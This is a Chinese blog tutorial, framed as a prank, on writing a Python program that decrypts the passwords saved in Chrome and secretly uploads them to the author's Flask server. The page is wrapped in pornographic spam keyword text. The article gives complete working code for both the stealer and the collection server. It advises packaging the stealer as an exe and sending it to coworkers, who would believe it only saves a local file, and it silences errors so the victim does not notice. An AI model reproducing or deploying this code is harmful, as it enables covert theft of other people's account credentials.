精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

使用Python假裝偽黑客,批量破解朋友的網站密碼

開發 后端
今天看了一篇關于如何破解iphone手機密碼的文章,瞬間覺得科學技術不是第一生產力,why?

 如何破解iphone登陸密碼

今天看了一篇關于如何破解iphone手機密碼的文章,瞬間覺得科學技術不是第一生產力,why?

[[281762]]

根據“可靠消息”稱,即便美國FBI也無法輕易的對iphone手機進行暴力破解,當然美國有一家黑客公司可針對iphone進行破解,單收費過萬美金。

那么鋪天蓋地的iphone手機密碼破解“黑客”是怎么做的?

無非是騙,他們假裝成各類官方人員告訴你發現你的iphone手機存在異常,需要遠程告知apple_id幫你追回手機,呵呵….

可是,這個梗和今天的文章有什么關系呢?

黑客的自我修養

隨著Python的活躍,各大平臺都在鼓吹,甚至已經出了關于python黑客入門的書籍。

也許做一個黑客難如登天,那不如我們換個思路,去假裝做一個偽黑客如何?

前幾天看帖子,發現我們使用瀏覽器的時候,當登陸一個需要輸入用戶名密碼的網站時,在你登陸成功后,系統會提示你是否保存密碼,如果點擊確認,瀏覽器將會把我們本次輸入的密碼,存儲在瀏覽器中,待下次登錄時便可以免密登錄。

那么,這些密碼是怎么保存的,又存儲在哪里呢?

Chrome瀏覽器

也許很多人會說,360瀏覽器、QQ瀏覽器,這些國產的加殼瀏覽器不論美觀還是所謂的安全方面都做的很符合國人需求。但如果你的工作與IT掛鉤,無疑Chrome將是很多朋友的首選。當然這篇文章不是介紹Chrome瀏覽器的使用手冊,今天我們主要來看看Chrome瀏覽器的密碼存儲機制。

查看Chrome存儲的密碼表單

點擊你們的Chrome瀏覽器右上角,進入設置->高級->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在Chrome瀏覽器中輸入chrome://settings/passwords。你會看到很多已保存過的密碼表單信息,當然如果你要查看密碼詳情,就要輸入電腦的系統管理員密碼。

那么,Chrome的密碼是以什么方式進行存儲的呢?SQLite…

很多嵌入式產品中,都會使用SQLite數據庫進行數據存儲,它占用資源低,數據庫即文件,又支持sql語法的增刪改查,簡直不要太方便

SQLite在哪,又該怎么查詢?

首先,進入我的電腦,地址欄中輸入%LOCALAPPDATA%,進入app的數據存儲路徑:

  1. C:\Users\Administrator\AppData\Local 

之后進入chrome瀏覽器的密碼數據庫統一地址為:

  1. Google\Chrome\User Data\Default\Login Data 

查看Chrome瀏覽器存儲的密碼

既然拿到了SQLite數據庫文件,我們隨便找個sqlite工具,就能打開這個數據庫了!

這里我使用sqlitestudio:

 

數據庫信息展示.png

打開數據庫,我們看到有三張表:

logins 、meta、 stats

其中logins中就存儲這你保存的網址、用戶名、密碼數據,分別是:

signon_realm,username_value,password_value

但問題來了,password_value的字段看著是空的啊?因為加密了!

如何解密?網上查了下:

  1. CryptUnprotectData數據可以在win32crypt中找到,要使用該模塊,需要進行安裝: 
  2. pip install pywin32 
  3. 萬事俱備,就差擼代碼了! 

pip install pywin32

萬事俱備,就差擼代碼了!

代碼實現

  1. 1import os 
  2.  2import shutil 
  3.  3import sqlite3 
  4.  4import win32crypt 
  5.  5 
  6.  6db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data'
  7.  7 
  8.  8tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file'
  9.  9print(tmp_file) 
  10. 10if os.path.exists(tmp_file): 
  11. 11    os.remove(tmp_file) 
  12. 12shutil.copyfile(db_file_path, tmp_file) 
  13. 13 
  14. 14conn = sqlite3.connect(tmp_file) 
  15. 15for row in conn.execute('select signon_realm,username_value,password_value from logins'): 
  16. 16    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) 
  17. 17    print('網站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk'))) 
  18. 18 
  19. 19conn.close() 
  20. 20os.remove(tmp_file) 

通過解密,我們獲取到了Chrome瀏覽器保存的用戶名密碼,然后保存至文本。

獲取到的本地密碼.png

之后我們只需要使用pyinstaller -F xxx.py,將代碼打包成exe發給同事,就可以在他的電腦上獲取密碼了!

但,如果咱們的黑客之旅到此為止,那這個偽黑客未免有點low了吧?

數據回傳

為什么說要打包成exe?一是可以脫離環境單獨執行,二卻是為了加殼!

我們在原有的代碼基礎上,添加如下內容

  1. 1import requests 
  2. 2try: # 記得添加try except 不然萬一你忘記啟動Flask程序,豈不是讓同事發現了 
  3. 3    requests.post('http://192.168.1.101:9999/index'
  4. 4                  data=''.join(passwordList).encode('utf-8')) 
  5. 5except: 
  6. 6    pass 

最后整理我們的代碼:

  1.  1# -*- coding: utf-8 -*- 
  2.  2# @Author  : 王翔 
  3.  3# @JianShu : 清風Python 
  4.  4# @Date    : 2019/5/18 22:53 
  5.  5# Software : PyCharm 
  6.  6# version:Python 3.6.8 
  7.  7# @File    : ChromePassword.py 
  8.  8 
  9.  9import os 
  10. 10import shutil 
  11. 11import sqlite3 
  12. 12import win32crypt 
  13. 13import json 
  14. 14import requests 
  15. 15 
  16. 16APP_DATA_PATH = os.environ["LOCALAPPDATA"
  17. 17DB_PATH = r'Google\Chrome\User Data\Default\Login Data' 
  18. 18 
  19. 19 
  20. 20class ChromePassword: 
  21. 21 
  22. 22    def __init__(self): 
  23. 23        self.passwordsList = [] 
  24. 24 
  25. 25    def get_chrome_db(self): 
  26. 26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH) 
  27. 27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file'
  28. 28        if os.path.exists(_tmp_file): 
  29. 29            os.remove(_tmp_file) 
  30. 30        shutil.copyfile(_full_path, _tmp_file) 
  31. 31        self.show_passwords(_tmp_file) 
  32. 32 
  33. 33    def show_passwords(self, db_file): 
  34. 34        conn = sqlite3.connect(db_file) 
  35. 35        _sql = '''select signon_realm,username_value,password_value from logins''' 
  36. 36        for row in conn.execute(_sql): 
  37. 37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) 
  38. 38            # 密碼解析后得到的是字節碼,需要進行解碼操作 
  39. 39            _info = 'url: %-40s username: %-20s password: %s\n' % \ 
  40. 40                    (row[0][:50], row[1], ret[1].decode()) 
  41. 41            self.passwordsList.append(_info) 
  42. 42        conn.close() 
  43. 43        os.remove(db_file) 
  44. 44 
  45. 45    def save_passwords(self): 
  46. 46        with open('password.txt''w', encoding='utf-8'as f: 
  47. 47            f.writelines(self.passwordsList) 
  48. 48 
  49. 49    def transfer_passwords(self): 
  50. 50        try: 
  51. 51            # 此處填寫遠端Flask對應的IP:PORT 
  52. 52            requests.post('http://192.168.1.102:9999/index'
  53. 53                          data=json.dumps(self.passwordsList)) 
  54. 54        except requests.exceptions.ConnectionError: 
  55. 55            pass 
  56. 56 
  57. 57 
  58. 58if __name__ == '__main__'
  59. 59    Main = ChromePassword() 
  60. 60    Main.get_chrome_db() 
  61. 61    Main.save_passwords() 
  62. 62    Main.transfer_passwords() 

下來,我們在本地寫一個最簡單的Flask程序,用戶獲取回傳的參數,代碼如下:

  1.  1# -*- coding: utf-8 -*- 
  2.  2# @Author  : 王翔 
  3.  3# @JianShu : 清風Python 
  4.  4# @Date    : 2019/5/18 22:53 
  5.  5# Software : PyCharm 
  6.  6# version:Python 3.6.8 
  7.  7# @File    : ChromePassword.py 
  8.  8 
  9.  9from flask import Flask, request 
  10. 10import time 
  11. 11import json 
  12. 12 
  13. 13app = Flask(__name__) 
  14. 14 
  15. 15 
  16. 16@app.route('/index', methods=["GET""POST"]) 
  17. 17def index(): 
  18. 18    if request.method == 'POST'
  19. 19        _txtName = '%s_%s.txt' % (request.remote_addr, 
  20. 20                                  time.strftime('%Y%m%d%H%M%S'time.localtime())) 
  21. 21        with open(_txtName, 'w', encoding='utf-8'as f: 
  22. 22            f.writelines(json.loads(request.data)) 
  23. 23    return "小哥,里面玩兒啊" 
  24. 24 
  25. 25 
  26. 26if __name__ == '__main__'
  27. 27    # 端口可自行設置 
  28. 28    app.run(host='0.0.0.0', port=9999) 

打完收工,就差同事去點擊你發給他的exe了。他以為你的工具僅僅把Chrome密碼生成txt保存,

其實,在他點擊工具的同時,你電腦會獲取他傳輸的數據,并存儲在一個ip時間戳的文本中!

 

Flask回傳.png

然后,拿去給他們炫耀吧!

 

責任編輯:華軒 來源: 清風Python
相關推薦

2014-11-19 09:15:35

2015-09-15 14:00:11

2010-09-17 10:39:56

2011-03-17 15:02:48

2011-05-19 10:44:01

2012-11-12 10:48:36

2019-01-10 05:53:57

2009-03-24 09:12:15

2013-05-14 10:12:13

2014-11-26 17:53:11

網絡·安全技術周刊

2010-12-03 11:43:51

2016-03-14 12:33:46

2009-11-04 21:46:39

2018-12-14 08:35:16

2018-08-09 05:39:58

2013-05-30 10:41:50

2020-12-21 16:00:07

Pythonzip文件密碼

2011-05-11 10:12:22

2011-05-11 10:01:22

2020-02-06 10:20:19

硬件黑客技術
點贊
收藏

51CTO技術棧公眾號

成人精品一区二区| 国产视频1区2区| 综合伊人久久| 欧美日韩国产在线| 欧美一区二区三区精美影视| 中文字幕一二三四| 黄色精品免费| 尤物yw午夜国产精品视频明星| 视色,视色影院,视色影库,视色网 日韩精品福利片午夜免费观看 | 欧美午夜精品一区二区蜜桃| 国产在线拍揄自揄拍无码| 天堂av在线资源| 狠狠色丁香婷综合久久| 日韩在线激情视频| 99re久久精品国产| 国产高清日韩| 一本一道久久a久久精品| 久久国产主播精品| 日韩污视频在线观看| 成人羞羞网站入口| 678五月天丁香亚洲综合网| 国产精品自拍片| av理论在线观看| 国产精品视频看| 国产精品成人久久久久| 久久一级黄色片| 欧美亚洲国产激情| 日韩国产精品视频| 丰满人妻一区二区三区大胸| 国产原创一区| 日本精品视频一区二区| www.好吊操| 亚洲 另类 春色 国产| 亚洲在线电影| 97在线日本国产| 极品盗摄国产盗摄合集| 大色综合视频网站在线播放| 制服.丝袜.亚洲.另类.中文| 成人黄色片视频| 成人在线黄色电影| 国产三级精品视频| 精品国产福利| 亚洲第一页综合| 国产伦精品一区二区三区视频青涩| 欧美激情在线播放| 西西444www无码大胆| 日本韩国欧美超级黄在线观看| 在线精品视频一区二区三四| 国产精品秘入口18禁麻豆免会员| 91精品专区| 国产欧美视频一区二区| 日韩欧美亚洲区| 老司机午夜福利视频| 极品美女销魂一区二区三区免费| 97精品国产aⅴ7777| 久久免费精彩视频| 精品久久中文| 中文日韩在线观看| 五月天免费网站| 91精品福利| 久久久久www| 成年人av电影| 亚洲人成免费| 久久天天躁狠狠躁夜夜躁| 免费观看一级一片| 天堂日韩电影| 亚洲精品网址在线观看| 中文字幕免费视频| 精品资源在线| 精品伊人久久97| 日韩一区二区a片免费观看| 精品国精品国产自在久国产应用 | 残酷重口调教一区二区| 中文日韩在线视频| 国产精品老熟女一区二区| 欧美破处大片在线视频| 97视频色精品| 91麻豆精品在线| 国内精品久久久久影院薰衣草| 欧美一级视频一区二区| 亚洲视屏在线观看| 韩国午夜理伦三级不卡影院| 成人在线观看网址| 三级国产在线观看| 国产精品国产自产拍在线| 国模一区二区三区私拍视频| 九色视频在线观看免费播放| 中文字幕制服丝袜成人av | 国产免费无遮挡| 国产iv一区二区三区| 久久人人97超碰人人澡爱香蕉| 成人午夜免费在线观看| 国产在线精品不卡| 国产在线高清精品| 黄色a在线观看| 日本一区二区三区高清不卡 | 久久一区二区中文字幕| 欧美精品制服第一页| 特黄视频免费看| 久久99精品久久久久久| 精品国产一区二区三区免费| avav免费在线观看| 亚洲成a人v欧美综合天堂| 欧美黄色性生活| 欧美freesex8一10精品| 久久精品成人动漫| 中文字幕亚洲乱码熟女1区2区| 久久精品导航| 97神马电影| 成黄免费在线| 色综合欧美在线| 香蕉视频1024| 欧美顶级大胆免费视频| 欧美在线视频a| 国产高中女学生第一次| 成人一区二区视频| 亚洲高清在线播放| 在线人成日本视频| 亚洲第一二三四五区| 多男操一女视频| 久久精品动漫| 国产精品乱子乱xxxx| 久久精品视频免费看| 色综合激情久久| xxxxxx黄色| 欧美三区在线| 97中文在线观看| 日本中文字幕在线观看| 欧美性色aⅴ视频一区日韩精品| 亚洲精品成人在线播放| 国产欧美一区二区三区精品观看| 大胆人体色综合| 中文字幕有码视频| 国产日韩欧美制服另类| 蜜臀av午夜一区二区三区| 亚洲欧美综合久久久久久v动漫| 日韩无一区二区| 久久一级免费视频| 男女性色大片免费观看一区二区 | 最新久久zyz资源站| 干日本少妇首页| 色吊丝一区二区| 91产国在线观看动作片喷水| 中文字幕人妻一区二区三区视频| 国产精品正在播放| 中国女人做爰视频| 精品视频91| 免费91在线视频| 国产成人三级在线播放 | 95在线视频| 欧美综合亚洲图片综合区| www.久久av| 日韩精品成人一区二区三区| 99视频日韩| 国产在线拍揄自揄拍视频| 精品国产乱码久久久久久图片| 人妻互换一区二区激情偷拍| 欧美aaa在线| 久久精品丝袜高跟鞋| 性欧美又大又长又硬| 精品一区二区三区电影| 免费无码国产精品| 中文字幕av在线一区二区三区| 久久久久久www| 黄色欧美网站| 日本成人免费在线| 蜜桃视频在线观看www| 午夜精品一区二区三区电影天堂| 加勒比av中文字幕| 欧美日本不卡| 精品一区2区三区| 日韩av首页| 久久精视频免费在线久久完整在线看| www.久久精品视频| 国产精品你懂的在线欣赏| 日本一二三四区视频| 极品av少妇一区二区| 日本成人三级电影网站| 婷婷久久免费视频| 欧美激情日韩图片| 国外av在线| 日韩精品一区二区在线| 四虎成人在线观看| 亚洲色图欧美偷拍| 欧美深性狂猛ⅹxxx深喉| 热久久国产精品| 欧美高清中文字幕| 国产精品三级| 日产精品99久久久久久| 久久综合网导航| 精品香蕉一区二区三区| 97人妻精品一区二区三区| 国产精品污www在线观看| 制服.丝袜.亚洲.中文.综合懂| 欧美日韩精品| 色999日韩自偷自拍美女| 久久影院一区二区三区| 日本成人黄色片| 国产啊啊啊视频在线观看| 亚洲偷欧美偷国内偷| 伊人成年综合网| 亚洲国产日韩a在线播放| 久久亚洲无码视频| 成a人片国产精品| 欧美日韩在线一| 亚洲成av人片乱码色午夜| 蜜桃麻豆www久久国产精品| 视频二区欧美| 欧美精品999| 毛片在线不卡| 亚洲一区二区久久久| 成人爽a毛片一区二区| 欧美日韩亚洲不卡| 国产精品视频一区在线观看| 国产欧美日韩另类一区| 国产精品300页| 国产精品69久久久久水密桃| 日本不卡一区在线| 日韩在线一二三区| 国产资源在线视频| 欧美丝袜激情| 亚洲aaa激情| 日本在线一区二区| 国产精品视频一区二区高潮| 亚洲欧美小说色综合小说一区| 中文日韩电影网站| 九色在线免费| 亚洲男人的天堂在线播放| 人人妻人人澡人人爽精品日本| 91国产福利在线| 69国产精品视频免费观看| 高跟丝袜欧美一区| 日韩欧美高清在线观看| 一区二区三区在线免费观看| 国产高潮流白浆| 亚洲精品国产高清久久伦理二区| 好吊色视频一区二区三区| 国产成人精品免费| 91丨porny丨九色| 国产一区二区在线影院| www.久久91| 精品一区二区在线观看| 三级av免费观看| 九九九久久久精品| 激情黄色小视频| 国产真实乱子伦精品视频| 第一区免费在线观看| 捆绑调教美女网站视频一区| 六月婷婷在线视频| 亚洲青色在线| 国产xxxxx在线观看| 欧美在线网址| 久久福利一区二区| 在线播放亚洲| 日韩欧美一区三区| 亚洲欧美清纯在线制服| 成人免费无码av| 蜜桃视频在线观看一区二区| av免费一区二区| 国产91精品一区二区麻豆网站| 污污网站免费观看| 国产美女av一区二区三区| 欧亚乱熟女一区二区在线| 91视频观看视频| 中文字幕欧美激情极品| 中文字幕日韩一区| 久久精品免费在线| 亚洲精品午夜久久久| 精品在线视频免费观看| 福利视频一区二区| 中文字幕+乱码+中文字幕明步| 婷婷丁香激情综合| 懂色av蜜臀av粉嫩av分享吧最新章节| 午夜国产精品一区| 黄色网址中文字幕| 日韩午夜精品视频| 三级毛片在线免费看| 日韩资源在线观看| 啪啪免费视频一区| 欧美一级淫片videoshd| 日韩一级特黄| 国产精品国色综合久久| 久久成人高清| 男女爱爱视频网站| 欧美专区18| 国产精品igao网网址不卡| www.欧美色图| 日韩在线一卡二卡| 亚洲欧美综合色| 久久久久久久99| 欧美日韩亚洲国产综合| 天堂v在线观看| zzjj国产精品一区二区| 国产传媒av在线| 成人免费淫片aa视频免费| 久久狠狠久久| 国产四区在线观看| 翔田千里一区二区| www.久久com| 国产精品99久久久| av网在线播放| 亚洲福利视频一区二区| 伊人免费在线观看高清版| 日韩精品极品在线观看| 黄网站在线免费| 国产成人综合久久| 久久超级碰碰| 2021狠狠干| 捆绑紧缚一区二区三区视频 | 成人va天堂| 波多野结衣精品久久| 成人情趣视频网站| 干日本少妇首页| 不卡一区中文字幕| 久久久久久av无码免费网站| 欧美日韩中文字幕一区| 国产片高清在线观看| 亚洲一区二区黄| 成年人网站在线| 国产精品黄页免费高清在线观看| 欧美亚洲黄色| 日本精品一区二区三区视频 | 亚洲精品久久久久久久久久久| 日av在线播放| 97香蕉超级碰碰久久免费的优势| 日韩精品99| 精品视频一区在线| 伊人成人在线| 2018国产精品| 国产亚洲人成网站| 亚洲综合网在线| 精品免费在线视频| 日韩中文字幕影院| 欧美精品videos| 国产精品无码久久久久| av蓝导航精品导航| 欧美另类专区| 性高潮免费视频| 亚洲午夜电影网| 亚洲美女福利视频| 欧美激情中文字幕乱码免费| 波多野结衣一区二区三区免费视频| 久久影院理伦片| 欧美一级久久| 成人在线一级片| 在线观看视频一区二区| 国产在线电影| 国产精品亚洲美女av网站| 日韩一区二区在线| 久久久久久久久久一区二区| 99视频有精品| 久久国产视频精品| 一区二区三欧美| 亚洲我射av| 欧美一级中文字幕| av在线不卡免费看| 中文字幕在线播| 中文国产亚洲喷潮| 成人av免费电影网站| 欧美日韩三区四区| 免费在线一区观看| 欧美第一页在线观看| 欧美性三三影院| av在线官网| 精品国产综合| 日本少妇一区二区| 国产毛片久久久久久久| 欧美在线一区二区| 免费黄色网页在线观看| 99re在线国产| 欧美综合国产| 三级黄色免费观看| 日韩欧美国产小视频| 黄色在线视频网站| 国产一区二区视频在线免费观看| 午夜国产一区| 熟妇高潮精品一区二区三区| 欧美性videosxxxxx| 欧美女同一区| 日韩av高清在线播放| 国产麻豆精品95视频| 黄色片免费观看视频| 日韩久久精品电影| a成人v在线| 亚洲欧美久久久久一区二区三区| 水野朝阳av一区二区三区| av最新在线观看| 亚洲精品wwwww| 日韩大陆av| 国产成人无码精品久久久性色| 成人免费的视频| 中文字幕永久免费视频| 国精产品一区一区三区有限在线| 99国产精品久久一区二区三区| 免费成人深夜夜行网站视频| av网站一区二区三区| 久久久久久久久久久影院| 精品国产一区二区三区久久狼黑人| 日本一区二区三区中文字幕| 国产肥臀一区二区福利视频|